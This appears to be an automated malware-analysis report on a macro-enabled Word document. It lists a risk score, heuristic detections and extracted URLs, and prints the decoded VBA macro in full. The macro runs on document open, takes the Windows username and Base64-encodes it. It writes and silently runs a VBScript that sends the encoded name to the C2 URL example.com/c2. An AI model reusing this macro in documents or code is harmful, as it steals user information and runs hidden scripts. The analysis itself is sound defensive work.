MALICIOUS
298
Risk Score
Heuristics 9
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VBA project inside OOXML medium 7 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set dE56f = CreateObject("WScript.Shell") -
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
dE56f.Run "wscript.exe " & xY12b, 0, True -
Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URLVBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.Matched line in script
Set dE56f = CreateObject("WScript.Shell") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
aB34c = "Set xmlHttp = CreateObject(""MSXML2.XMLHTTP"")" & vbCrLf & _ -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
gH78i = Environ("USERNAME") -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
- http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
- http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
- http://schemas.microsoft.com/office/2019/extlstReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
- http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2023/wordml/word16duReferenced by macro
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
- http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockReferenced by macro
- http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
- http://example.com/c2?data=Referenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1595 bytes |
SHA-256: 713fce4bae8a12573f4145ef47ccc68a559a686ae33e9e301d81c22a4bfddf7c |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim xY12b As String
Dim aB34c As String
Dim dE56f As Object
Dim gH78i As String
Dim jK90l As String
Dim mN01p As String
' Discovery: Get the current username
gH78i = Environ("USERNAME")
' Encode the username in Base64
jK90l = xY12b34c(gH78i)
' Command and Control: Construct the C2 URL with the encoded username
mN01p = "http://example.com/c2?data=" & jK90l
' Execution: Create the VBS script content
aB34c = "Set xmlHttp = CreateObject(""MSXML2.XMLHTTP"")" & vbCrLf & _
"xmlHttp.Open ""GET"", """ & mN01p & """, False" & vbCrLf & _
"xmlHttp.Send"
' Write the VBS script to a temporary file
xY12b = Environ("TEMP") & "\temp.vbs"
Open xY12b For Output As #1
Print #1, aB34c
Close #1
' Execute the VBS script
Set dE56f = CreateObject("WScript.Shell")
dE56f.Run "wscript.exe " & xY12b, 0, True
End Sub
Function xY12b34c(ByVal str As String) As String
Dim xY12b As Object
Dim aB34c As Object
Set xY12b = CreateObject("MSXML2.DOMDocument")
Set aB34c = xY12b.createElement("b64")
aB34c.DataType = "bin.base64"
aB34c.Text = str
xY12b34c = aB34c.NodeTypedValue
End Function
|
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 10240 bytes |
SHA-256: 0303b6e21dc598601e060dd77ad0e9451681290983d522110418981fd6b90fc5 |
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